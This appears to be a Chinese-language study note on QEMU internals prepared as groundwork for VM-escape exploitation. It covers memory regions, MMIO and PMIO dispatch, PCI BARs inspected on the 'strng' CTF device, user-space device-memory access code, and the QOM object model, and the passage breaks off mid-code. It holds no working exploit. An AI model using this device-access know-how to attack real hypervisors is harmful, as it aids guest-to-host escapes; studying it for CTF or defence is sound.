参考:

qemu pwn-基础知识 - 先知社区 (aliyun.com)

原创]QEMU逃逸初探-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

QEMU 内存管理 - CTF Wiki (ctf-wiki.org)

【HARDWARE.0x00】PCI 设备简易食用手册 - arttnbmy’s blog

QOM模型初始化流程 - Edver - 博客园 (cnblogs.com)

利用QOM(Qemu Object Model)创建虚拟设备 | Yi颗烂樱桃 (owalle.com)

QEMU 中的面向对象 : QOM | Deep Dark Fantasy (martins3.github.io)

qemu

QEMU(Quick Emulator)是一个开源的虚拟机监控器和仿真器,可以在多种主机架构之间进行硬件级别的虚拟化。它允许用户在一台计算机上运行不同架构的操作系统,比如在x86架构的计算机上运行ARM架构的操作系统。QEMU可以模拟处理器、内存、存储设备、网络接口等硬件,并提供了一组工具和库来管理虚拟化环境。它被广泛用于开发、测试和调试操作系统、应用程序和嵌入式系统。

内存模型

内存布局

在虚拟机中不论是kvm还是qemu有几个关键的地址。

GVA:guest virtual address(虚拟机中的虚拟地址)

GPA:guest physical address(虚拟机中的物理地址)

HVA:host virtual address(宿主机中的虚拟地址)

HPA: host physical address(宿主机中的物理地址)

整体地址的话:从GVA -> GPA -> HVA -> HPA 这样的转换。

而GPA实际是由宿主机进程mmap出来的空间。

而在qemu-kvm架构下,QEMU充当kvm的前端,传递IO。kvm负责做内存以及CPU的虚拟化。

qemu进行会为虚拟机mmap分配出相应虚拟机申请大小的内存,用于给该虚拟机当作物理内存(在虚拟机进程中只会看到虚拟地址)

例如,qemu虚拟机对应的内存为1G,虚拟机启动后查看qemu的地址空间,可以看到存在一个大小为0x40000000内存空间,即为该虚拟机的物理内存。

1
0x7fe37fe00000     0x7fe3bfe00000 rw-p 40000000 0 ;虚拟机对应的内存

GUEST视角

MemoryRegion

在 Qemu 当中使用 MemoryRegion 结构体类型来表示一块具体的 Guest 物理内存区域,该结构体定义于 include/exec/memory.h 当中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/** MemoryRegion:
*
* 表示一块内存区域的一个结构体.
*/
struct MemoryRegion {
Object parent_obj;

/* private: */

/* The following fields should fit in a cache line */
bool romd_mode;
bool ram;
bool subpage;
bool readonly; /* For RAM regions */
bool nonvolatile;
bool rom_device;
bool flush_coalesced_mmio;
bool global_locking;
uint8_t dirty_log_mask;
bool is_iommu;
RAMBlock *ram_block;
Object *owner;

const MemoryRegionOps *ops;
void *opaque;
MemoryRegion *container; // 指向父 MemoryRegion
Int128 size; // 内存区域大小
hwaddr addr; // 在父 MR 中的偏移量
void (*destructor)(MemoryRegion *mr);
uint64_t align;
bool terminates;
bool ram_device;
bool enabled;
bool warning_printed; /* For reservations */
uint8_t vga_logging_count;
MemoryRegion *alias; // 仅在 alias MR 中,指向实际的 MR
hwaddr alias_offset;
int32_t priority;
QTAILQ_HEAD(, MemoryRegion) subregions;
QTAILQ_ENTRY(MemoryRegion) subregions_link;
QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;
const char *name;
unsigned ioeventfd_nb;
MemoryRegionIoeventfd *ioeventfds;
};

在 Qemu 当中有三种类型的 MemoryRegion:

  • MemoryRegion 根:通过 memory_region_init() 进行初始化,其用以表示与管理由多个 sub-MemoryRegion 组成的一个内存区域,并不实际指向一块内存区域,例如 system_memory
  • MemoryRegion 实体:通过 memory_region_init_ram() 初始化,表示具体的一块大小为 size 的内存空间,指向一块具体的内存。
  • MemoryRegion 别名:通过 memory_region_init_alias() 初始化,作为另一个 MemoryRegion 实体的别名而存在,不指向一块实际内存。

MR 容器与 MR 实体间构成树形结构,其中容器为根节点而实体为子节点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
                       struct MemoryRegion
+------------------------+
|name |
| (const char *) |
+------------------------+
|addr |
| (hwaddr) |
|size |
| (Int128) |
+------------------------+
|subregions |
| QTAILQ_HEAD() |
+------------------------+
|
|
----+-------------------+---------------------+----
| |
| |
| |

struct MemoryRegion struct MemoryRegion
+------------------------+ +------------------------+
|name | |name |
| (const char *) | | (const char *) |
+------------------------+ +------------------------+
|addr | |addr |
| (hwaddr) | | (hwaddr) |
|size | |size |
| (Int128) | | (Int128) |
+------------------------+ +------------------------+
|subregions | |subregions |
| QTAILQ_HEAD() | | QTAILQ_HEAD() |
+------------------------+ +------------------------+

相应地,基于 OOP 的思想,MemoryRegion 的成员函数被封装在函数表 MemoryRegionOps 当中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/*
* Memory region callbacks
*/
struct MemoryRegionOps {
/* 从内存区域上读. @addr 与 @mr 有关; @size 单位为字节. */
uint64_t (*read)(void *opaque,
hwaddr addr,
unsigned size);
/* 往内存区域上写. @addr 与 @mr 有关; @size 单位为字节. */
void (*write)(void *opaque,
hwaddr addr,
uint64_t data,
unsigned size);

MemTxResult (*read_with_attrs)(void *opaque,
hwaddr addr,
uint64_t *data,
unsigned size,
MemTxAttrs attrs);
MemTxResult (*write_with_attrs)(void *opaque,
hwaddr addr,
uint64_t data,
unsigned size,
MemTxAttrs attrs);

enum device_endian endianness;
/* Guest可见约束: */
struct {
/* 若非 0,则指定了超出机器检查范围的访问大小界限
*/
unsigned min_access_size;
unsigned max_access_size;
/* If true, unaligned accesses are supported. Otherwise unaligned
* accesses throw machine checks.
*/
bool unaligned;
/*
* 若存在且 #false, 则该事务不会被设备所接受
* (并导致机器的相关行为,例如机器检查异常).
*/
bool (*accepts)(void *opaque, hwaddr addr,
unsigned size, bool is_write,
MemTxAttrs attrs);
} valid;
/* 内部应用约束: */
struct {
/* 若非 0,则决定了最小的实现的 size .
* 更小的 size 将被向上回绕,且将返回部分结果.
*/
unsigned min_access_size;
/* 若非 0,则决定了最大的实现的 size .
* 更大的 size 将被作为一系列的更小的 size 的访问而完成.
*/
unsigned max_access_size;
/* 若为 true, 支持非对齐的访问.
* 否则所有的访问都将被转换为(可能多种)对齐的访问.
*/
bool unaligned;
} impl;
};

当我们的 Guest 要读写虚拟机上的内存时,在 Qemu 内部实际上会调用 address_space_rw(),对于一般的 RAM 内存而言则直接对 MR 对应的内存进行操作,对于 MMIO 而言则最终调用到对应的 MR->ops->read()MR->ops->write()

同样的,为了统一接口,在 Qemu 当中 PMIO 的实现同样是通过 MemoryRegion 来完成的,我们可以把一组端口理解为 QEMU 视角的一块 Guest 内存。

FlatView

FlatView 用来表示一棵 MemoryRegion 树所表示的 Guest 地址空间,其使用一个 FlatRange 结构体指针数组来存储不同 MemoryRegion 对应的地址信息,每个 FlatRange 表示单个 MemoryRegionGuest 视角的一块物理地址空间以及是否只读等特性信息, FlatRange 之间所表示的地址范围不会重叠。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Range of memory in the global map.  Addresses are absolute. */
struct FlatRange {
MemoryRegion *mr;
hwaddr offset_in_region;
AddrRange addr;
uint8_t dirty_log_mask;
bool romd_mode;
bool readonly;
bool nonvolatile;
};

//...

/* Flattened global view of current active memory hierarchy. Kept in sorted
* order.
*/
struct FlatView {
struct rcu_head rcu;
unsigned ref;
FlatRange *ranges;
unsigned nr;
unsigned nr_allocated;
struct AddressSpaceDispatch *dispatch;
MemoryRegion *root;
};

AddressSpace

AddressSpace 结构体用以表示 Guest 视角不同类型的地址空间,在 x86 下其实就只有两种:address_space_memoryaddress_space_io

单个 AddressSpace 结构体与一棵 MemoryRegion 树的根节点相关联,并使用一个 FlatView 结构体建立该树的平坦化内存空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* struct AddressSpace: describes a mapping of addresses to #MemoryRegion objects
*/
struct AddressSpace {
/* private: */
struct rcu_head rcu;
char *name;
MemoryRegion *root;

/* Accessed via RCU. */
struct FlatView *current_map;

int ioeventfd_nb;
struct MemoryRegionIoeventfd *ioeventfds;
QTAILQ_HEAD(, MemoryListener) listeners;
QTAILQ_ENTRY(AddressSpace) address_spaces_link;
};

最终可以得到这样一张图:

HOST视角

RAMBlock

用于表示:MR 对应的 Host 虚拟内存

RAMBlock 结构体用来表示单个实体 MemoryRegion 所占用的 Host 虚拟内存信息,多个 RAMBlock 结构体之间构成单向链表。

比较重要的成员如下:

  • mr:该 RAMBlock 对应的 MemoryRegion(即 HVA → GPA)
  • host:GVA 对应的 HVA,通常由 QEMU 通过 mmap() 获得(如果未使用 KVM)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct RAMBlock {
struct rcu_head rcu;
struct MemoryRegion *mr;
uint8_t *host;
uint8_t *colo_cache; /* For colo, VM's ram cache */
ram_addr_t offset;
ram_addr_t used_length;
ram_addr_t max_length;
void (*resized)(const char*, uint64_t length, void *host);
uint32_t flags;
/* Protected by iothread lock. */
char idstr[256];
/* RCU-enabled, writes protected by the ramlist lock */
QLIST_ENTRY(RAMBlock) next;
QLIST_HEAD(, RAMBlockNotifier) ramblock_notifiers;
int fd;
size_t page_size;
/* dirty bitmap used during migration */
unsigned long *bmap;
/* bitmap of already received pages in postcopy */
unsigned long *receivedmap;

/*
* bitmap to track already cleared dirty bitmap. When the bit is
* set, it means the corresponding memory chunk needs a log-clear.
* Set this up to non-NULL to enable the capability to postpone
* and split clearing of dirty bitmap on the remote node (e.g.,
* KVM). The bitmap will be set only when doing global sync.
*
* It is only used during src side of ram migration, and it is
* protected by the global ram_state.bitmap_mutex.
*
* NOTE: this bitmap is different comparing to the other bitmaps
* in that one bit can represent multiple guest pages (which is
* decided by the `clear_bmap_shift' variable below). On
* destination side, this should always be NULL, and the variable
* `clear_bmap_shift' is meaningless.
*/
unsigned long *clear_bmap;
uint8_t clear_bmap_shift;

/*
* RAM block length that corresponds to the used_length on the migration
* source (after RAM block sizes were synchronized). Especially, after
* starting to run the guest, used_length and postcopy_length can differ.
* Used to register/unregister uffd handlers and as the size of the received
* bitmap. Receiving any page beyond this length will bail out, as it
* could not have been valid on the source.
*/
ram_addr_t postcopy_length;
};

对应关系如下图所示:

设备模型

QEMU 在用户空间中独立进行设备模拟,虚拟设备被其他的 VM 通过 hypervisor 提供的接口进行调用。由于设备的模拟是独立于 hypervisor 的,因此我们可以模拟任何设备,且该模拟设备可以在其他 hypervisor 间进行共享。

IO处理

当 VM 在访问某一虚拟设备对应的物理内存 / 端口时,控制权由 VM 转交到 Hypervisor,此时 QEMU 会根据触发 VM-exit 的事件类型进行不同的处理。

accel/kvm/kvm-all.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int kvm_cpu_exec(CPUState *cpu)
{
//...

do {
//...

run_ret = kvm_vcpu_ioctl(cpu, KVM_RUN, 0);

// VCPU 退出运行,处理对应事件

trace_kvm_run_exit(cpu->cpu_index, run->exit_reason);
switch (run->exit_reason) {
case KVM_EXIT_IO:
DPRINTF("handle_io\n");
/* Called outside BQL */
kvm_handle_io(run->io.port, attrs,
(uint8_t *)run + run->io.data_offset,
run->io.direction,
run->io.size,
run->io.count);
ret = 0;
break;
case KVM_EXIT_MMIO:
DPRINTF("handle_mmio\n");
/* Called outside BQL */
address_space_rw(&address_space_memory,
run->mmio.phys_addr, attrs,
run->mmio.data,
run->mmio.len,
run->mmio.is_write);
ret = 0;
break;

MMIO

对于 MMIO 而言会调用到 address_space_rw() 函数,该函数会先将全局地址空间 address_space_memory 展开成 FlatView 后再调用对应的函数进行读写操作。

softmmu/physmem.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
MemTxResult address_space_read_full(AddressSpace *as, hwaddr addr,
MemTxAttrs attrs, void *buf, hwaddr len)
{
MemTxResult result = MEMTX_OK;
FlatView *fv;

if (len > 0) {
RCU_READ_LOCK_GUARD();
fv = address_space_to_flatview(as);
result = flatview_read(fv, addr, attrs, buf, len);
}

return result;
}

MemTxResult address_space_write(AddressSpace *as, hwaddr addr,
MemTxAttrs attrs,
const void *buf, hwaddr len)
{
MemTxResult result = MEMTX_OK;
FlatView *fv;

if (len > 0) {
RCU_READ_LOCK_GUARD();
fv = address_space_to_flatview(as);
result = flatview_write(fv, addr, attrs, buf, len);
}

return result;
}

MemTxResult address_space_rw(AddressSpace *as, hwaddr addr, MemTxAttrs attrs,
void *buf, hwaddr len, bool is_write)
{
if (is_write) {
return address_space_write(as, addr, attrs, buf, len);
} else {
return address_space_read_full(as, addr, attrs, buf, len);
}
}

操作函数最后会根据 FlatView 找到目标内存对应的 MemoryRegion,对于函数表中定义了读写指针的 MR 而言最后会调用对应的函数指针完成内存访问工作,代码过多这里就不继续展开了:

softmmu/physmem.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/* Called from RCU critical section.  */
static MemTxResult flatview_write(FlatView *fv, hwaddr addr, MemTxAttrs attrs,
const void *buf, hwaddr len)
{
hwaddr l;
hwaddr addr1;
MemoryRegion *mr;

l = len;
mr = flatview_translate(fv, addr, &addr1, &l, true, attrs);
if (!flatview_access_allowed(mr, attrs, addr, len)) {
return MEMTX_ACCESS_ERROR;
}
return flatview_write_continue(fv, addr, attrs, buf, len,
addr1, l, mr);
}

/* Called from RCU critical section. */
static MemTxResult flatview_read(FlatView *fv, hwaddr addr,
MemTxAttrs attrs, void *buf, hwaddr len)
{
hwaddr l;
hwaddr addr1;
MemoryRegion *mr;

l = len;
mr = flatview_translate(fv, addr, &addr1, &l, false, attrs);
if (!flatview_access_allowed(mr, attrs, addr, len)) {
return MEMTX_ACCESS_ERROR;
}
return flatview_read_continue(fv, addr, attrs, buf, len,
addr1, l, mr);
}

PMIO

对于 PMIO 而言会调用到 kvm_handle_io() 函数,该函数实际上也是对 address_space_rw() 的封装,只不过使用的是端口地址空间 address_space_io,最后也会调用到对应 MemoryRegion 的函数表中的读写函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
static void kvm_handle_io(uint16_t port, MemTxAttrs attrs, void *data, int direction,
int size, uint32_t count)
{
int i;
uint8_t *ptr = data;

for (i = 0; i < count; i++) {
address_space_rw(&address_space_io, port, attrs,
ptr, size,
direction == KVM_EXIT_IO_OUT);
ptr += size;
}
}

pci设备地址空间

PCI(Peripheral Component Interconnect,外设组件互联)设备是一种计算机硬件设备,通过PCI总线与计算机的主板连接。PCI设备可以包括各种外部设备,如网卡、显卡、声卡、硬盘控制器、USB控制器等。PCI设备可以直接与计算机的主板连接,或者通过PCI插槽连接到主板上。PCI总线是一种高速数据传输接口,使得PCI设备可以与计算机进行快速的数据交换,从而实现各种输入输出功能。PCI设备的规范已经被不断发展和扩展,其中包括PCI Express(PCIe)等更高性能的接口。

PCI设备都有一个配置空间(PCI Configuration Space),其记录了关于此设备的详细信息。大小为256字节,其中头部64字节是PCI标准规定的,当然并非所有的项都必须填充,位置是固定了,没有用到可以填充0。前16个字节的格式是一定的,包含头部的类型、设备的总类、设备的性质以及制造商等,格式如下:

比较关键的是其6个BAR(Base Address Registers),BAR记录了设备所需要的地址空间的类型,基址以及其他属性。BAR的格式如下:

设备可以申请两类地址空间,memory space和I/O space,它们用BAR的最后一位区别开来。

当BAR最后一位为0表示这是映射的I/O内存,为1是表示这是I/O端口,当是I/O内存的时候1-2位表示内存的类型,bit 2为1表示采用64位地址,为0表示采用32位地址。bit1为1表示区间大小超过1M,为0表示不超过1M。bit3表示是否支持可预取。

而相对于I/O内存,当最后一位为1时表示映射的I/O端口。I/O端口一般不支持预取,所以这里是29位的地址。

通过memory space访问设备I/O的方式称为memory mapped I/O,即MMIO,这种情况下,CPU直接使用普通访存指令即可访问设备I/O。

通过I/O space访问设备I/O的方式称为port I/O,或者port mapped I/O,即PMIO,这种情况下CPU需要使用专门的I/O指令如IN/OUT访问I/O端口。

关于MMIO和PMIO,维基百科的描述是:

Memory-mapped I/O (MMIO) and port-mapped I/O (PMIO) (which is also called isolated I/O) are two complementary methods of performing input/output (I/O) between the central processing unit (CPU) and peripheral devices in a computer. An alternative approach is using dedicated I/O processors, commonly known as channels on mainframe computers, which execute their own instructions.

翻译来自谷歌

内存映射 I/O (MMIO) 和端口映射 I/O (PMIO)(也称为隔离 I/O)是在中央处理单元 (CPU) 之间执行输入/输出 (I/O) 的两种互补方法。 )和计算机中的外围设备。 另一种方法是使用专用 I/O 处理器,通常称为大型计算机上的通道,它们执行自己的指令。

在MMIO中,内存和I/O设备共享同一个地址空间。 MMIO是应用得最为广泛的一种I/O方法,它使用相同的地址总线来处理内存和I/O设备,I/O设备的内存和寄存器被映射到与之相关联的地址。当CPU访问某个内存地址时,它可能是物理内存,也可以是某个I/O设备的内存,用于访问内存的CPU指令也可来访问I/O设备。每个I/O设备监视CPU的地址总线,一旦CPU访问分配给它的地址,它就做出响应,将数据总线连接到需要访问的设备硬件寄存器。为了容纳I/O设备,CPU必须预留给I/O一个地址区域,该地址区域不能给物理内存使用。

在PMIO中,内存和I/O设备有各自的地址空间。 端口映射I/O通常使用一种特殊的CPU指令,专门执行I/O操作。在Intel的微处理器中,使用的指令是IN和OUT。这些指令可以读/写1,2,4个字节(例如:outb, outw, outl)到IO设备上。I/O设备有一个与内存不同的地址空间,为了实现地址空间的隔离,要么在CPU物理接口上增加一个I/O引脚,要么增加一条专用的I/O总线。由于I/O地址空间与内存地址空间是隔离的,所以有时将PMIO称为被隔离的IO(Isolated I/O)。

qemu中查看pci设备

下面通过在qemu虚拟机中查看pci设备来进一步增进理解,仍然是基于strng这道题的qemu虚拟机。

lspci命令用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。

pci设备的寻址是由总线、设备以及功能构成。如下所示:

1
2
3
4
5
6
7
8
ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

xx:yy:z的格式为总线:设备:功能的格式。

可以使用lspci命令以树状的形式输出pci结构:

1
2
3
4
5
6
7
8
ubuntu@ubuntu:~$ lspci -t -v
-[0000:00]-+-00.0 Intel Corporation 440FX - 82441FX PMC [Natoma]
+-01.0 Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
+-01.1 Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
+-01.3 Intel Corporation 82371AB/EB/MB PIIX4 ACPI
+-02.0 Device 1234:1111
+-03.0 Device 1234:11e9
\-04.0 Intel Corporation 82540EM Gigabit Ethernet Controller

其中[0000]表示pci的域, PCI域最多可以承载256条总线。 每条总线最多可以有32个设备,每个设备最多可以有8个功能。

总之每个 PCI 设备有一个总线号, 一个设备号, 一个功能号标识。PCI 规范允许单个系统占用多达 256 个总线, 但是因为 256 个总线对许多大系统是不够的, Linux 现在支持 PCI 域。每个 PCI 域可以占用多达 256 个总线. 每个总线占用 32 个设备, 每个设备可以是 一个多功能卡(例如一个声音设备, 带有一个附加的 CD-ROM 驱动)有最多 8 个功能。

PCI 设备通过VendorIDsDeviceIDs、以及Class Codes字段区分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ubuntu@ubuntu:~$ lspci -v -m -n -s 00:03.0
Device: 00:03.0
Class: 00ff
Vendor: 1234
Device: 11e9
SVendor: 1af4
SDevice: 1100
PhySlot: 3
Rev: 10

ubuntu@ubuntu:~$ lspci -v -m -s 00:03.0
Device: 00:03.0
Class: Unclassified device [00ff]
Vendor: Vendor 1234
Device: Device 11e9
SVendor: Red Hat, Inc
SDevice: Device 1100
PhySlot: 3
Rev: 10

也可通过查看其config文件来查看设备的配置空间,数据都可以匹配上,如前两个字节1234vendor id

1
2
3
4
5
ubuntu@ubuntu:~$ hexdump /sys/devices/pci0000\:00/0000\:00\:03.0/config
0000000 1234 11e9 0103 0000 0010 00ff 0000 0000
0000010 1000 febf c051 0000 0000 0000 0000 0000
0000020 0000 0000 0000 0000 0000 0000 1af4 1100
0000030 0000 0000 0000 0000 0000 0000 0000 0000

查看设备内存空间:

1
2
3
4
5
6
7
8
9
10
11
ubuntu@ubuntu:~$ lspci -v -s 00:03.0 -x
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
Subsystem: Red Hat, Inc Device 1100
Physical Slot: 3
Flags: fast devsel
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
I/O ports at c050 [size=8]
00: 34 12 e9 11 03 01 00 00 10 00 ff 00 00 00 00 00
10: 00 10 bf fe 51 c0 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 f4 1a 00 11
30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

可以看到该设备有两个空间:BAR0为MMIO空间,地址为febf1000,大小为256;BAR1为PMIO空间,端口地址为0xc050,大小为8。

可以通过查看resource文件来查看其相应的内存空间:

1
2
3
4
5
6
ubuntu@ubuntu:~$ ls -la /sys/devices/pci0000\:00/0000\:00\:03.0/
...
-r--r--r-- 1 root root 4096 Aug 1 03:40 resource
-rw------- 1 root root 256 Jul 31 13:18 resource0
-rw------- 1 root root 8 Aug 1 04:01 resource1
...

resource文件包含其它相应空间的数据,如resource0(MMIO空间)以及resource1(PMIO空间):

1
2
3
4
5
6
ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource
0x00000000febf1000 0x00000000febf10ff 0x0000000000040200
0x000000000000c050 0x000000000000c057 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

每行分别表示相应空间的起始地址(start-address)、结束地址(end-address)以及标识位(flags)。

qemu中访问I/O空间

存在mmio与pmio,那么在系统中该如何访问这两个空间呢?访问mmio与pmio都可以采用在内核态访问或在用户空间编程进行访问。

访问mmio

编译内核模块,在内核态访问mmio空间,示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <asm/io.h>
#include <linux/ioport.h>

long addr=ioremap(ioaddr,iomemsize);
readb(addr);
readw(addr);
readl(addr);
readq(addr);//qwords=8 btyes

writeb(val,addr);
writew(val,addr);
writel(val,addr);
writeq(val,addr);
iounmap(addr);

还有一种方式是在用户态访问mmio空间,通过映射resource0文件实现内存的访问,示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
unsigned char* mmio_mem;

void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);

mmio_read(0x128);
mmio_write(0x128, 1337);
}

访问pmio

编译内核模块,在内核空间访问pmio空间,示例代码如下:

1
2
3
4
5
6
7
8
9
10
#include <asm/io.h> 
#include <linux/ioport.h>

inb(port); //读取一字节
inw(port); //读取两字节
inl(port); //读取四字节

outb(val,port); //写一字节
outw(val,port); //写两字节
outl(val,port); //写四字节

用户空间访问则需要先调用iopl函数申请访问端口,示例代码如下:

1
2
3
4
5
6
7
8
9
10
#include <sys/io.h >

iopl(3);
inb(port);
inw(port);
inl(port);

outb(val,port);
outw(val,port);
outl(val,port);

IOPL(Input/Output Privilege Level)系统调用是一种在Intel x86架构中的特权级别切换机制。在x86架构中,存在四个特权级别(0至3),其中0是最高特权级别,3是最低特权级别。IOPL允许用户态程序访问特权级别为0(内核态)的I/O端口,以执行一些需要系统级别权限的操作,比如直接访问硬件设备。

QOM模型

QEMU是使用C编写而成,自然没有原生支持类与对象,但QEMU自己实现了一套称为Qemu Object Model的技术来实现面向对象

主要由这四个组件构成:

  • Type:用来定义一个「类」的基本属性,例如类的名字、大小、构造函数等。
  • Class:用来定义一个「类」的静态内容,例如类中存储的静态数据、方法函数指针等。
  • Object:动态分配的一个「类」的具体的实例(instance),储存类的动态数据。
  • Property:动态对象数据的访问器(accessor),可以通过监视器接口进行检查。

其中Property不多做关注,重点理解前三个


上面的介绍乍一看还并不是很容易就懂的,用比较易懂的话再说一遍大概就是

Type用于描述一个类,也就是描述一个具体的设备,由结构体Typeinfo实现,Type用于关联ClassObject

Class用于描述这个类的通用数据,例如静态数据,方法函数等对于所有类实例都是相同的数据,全局只有一个该class

object用于描述这个类的动态数据,也就是独属于每一个类实例的数据

TypeInfo - 类的基本属性

TypeInfo 这一结构体用来定义一个 的基本属性,该结构体定义于 include/qom/object.h 当中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/**
* TypeInfo:
* @name: 类型名.
* @parent: 父类型名.
* @instance_size: 对象大小 (#Object 的衍生物).
* 若 @instance_size 为 0, 则对象的大小为其父类的大小
* @instance_init: 该函数被调用以初始化对象(译注:构造函数).
* (译注:调用前)父类已被初始化,因此子类只需要初始化他自己的成员。
* @instance_post_init: 该函数被调用以结束一个对象的初始化,
* 在所有的 @instance_init 函数被调用之后.
* @instance_finalize: 该函数在对象被析构时调用. 其在
* 父类的 @instance_finalize 被调用之前被调用.
* 在该函数中一个对象应当仅释放该对象特有的成员。
* @abstract: 若该域为真,则该类为一个虚类,不能被直接实例化。
* @class_size: 这个对象的类对象的大小 (#Object 的衍生物)
* 若 @class_size 为 0, 则类的大小为其父类的大小。
* 这允许一个类型在没有添加额外的虚函数时避免实现一个显式的类型。
* @class_init: 该函数在所有父类初始化结束后被调用,
* 以允许一个类设置他的默认虚方法指针.
* 这也允许该函数重写父类的虚方法。
* @class_base_init: 在所有的父类被初始化后、但
* 在类自身初始化前,为所有的基类调用该函数。
* 该函数用以撤销从父类 memcpy 到子类的影响.
* @class_data: 传递给 @class_init 与 @class_base_init 的数据,
* 这会在建立动态类型时有用。
* @interfaces: 与这个类型相关的接口.
* 其应当指向一个以 0 填充元素结尾的静态数组
*/
struct TypeInfo
{
const char *name;
const char *parent;

size_t instance_size;
void (*instance_init)(Object *obj);
void (*instance_post_init)(Object *obj);
void (*instance_finalize)(Object *obj);

bool abstract;
size_t class_size;

void (*class_init)(ObjectClass *klass, void *data);
void (*class_base_init)(ObjectClass *klass, void *data);
void *class_data;

InterfaceInfo *interfaces;
};

当我们在 Qemu 中要定义一个的时候,我们实际上需要定义一个 TypeInfo 类型的变量,以下是一个在 Qemu 定义一个自定义类的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
static const TypeInfo my_type_info = {
.name = "my_type",
.parent = TYPE_OBJECT,
.interfaces = (InterfaceInfo[]) {
{ },
},
}

static void my_register_types(void) {
type_register_static(&my_type_info);
}

type_init(my_register_types);

type_init() 其实就是 constructor 这一 gcc attribute 的封装,其作用就是将一个函数加入到一个 init_array 当中,在 Qemu 程序启动时在进入到 main 函数之前会先调用 init_array 中的函数,因此这里会调用我们自定义的函数,其作用便是调用 type_register_static() 将我们自定义的类型 my_type_info 注册到全局的类型表中。

Class - 类的静态内容

当我们通过一个 TypeInfo 结构体定义了一个类之后,我们还需要定义一个 Class 结构体来定义这个类的静态内容,包括函数表、静态成员等,其应当继承于对应的 Class 结构体类型,例如我们若是要定义一个新的机器类,则其 Class 应当继承于 MachineClass

所有 Class 结构体类型的最终的父类都是 ObjectClass 结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* ObjectClass:
*
* 所有类的基类. #ObjectClass 仅包含一个整型类型 handler
*/
struct ObjectClass
{
/*< private >*/
Type type;
GSList *interfaces;

const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE];
const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE];

ObjectUnparent *unparent;

GHashTable *properties;
};

下面是一个最简单的示例:

1
2
3
4
5
struct myClass
{
/*< private >*/
ObjectClass parent;
}

完成 Class 的定义之后我们还应当在前面定义的 my_type_info 中添加上 Class size 与 Class 的构造函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static void my_class_init(ObjectClass *oc, void *data)
{
// 这里的 oc 参数便是新创建的 Class,全局只有一个该实例
// 我们应当 cast 为我们自己的 Class 类型,之后再进行相应操作
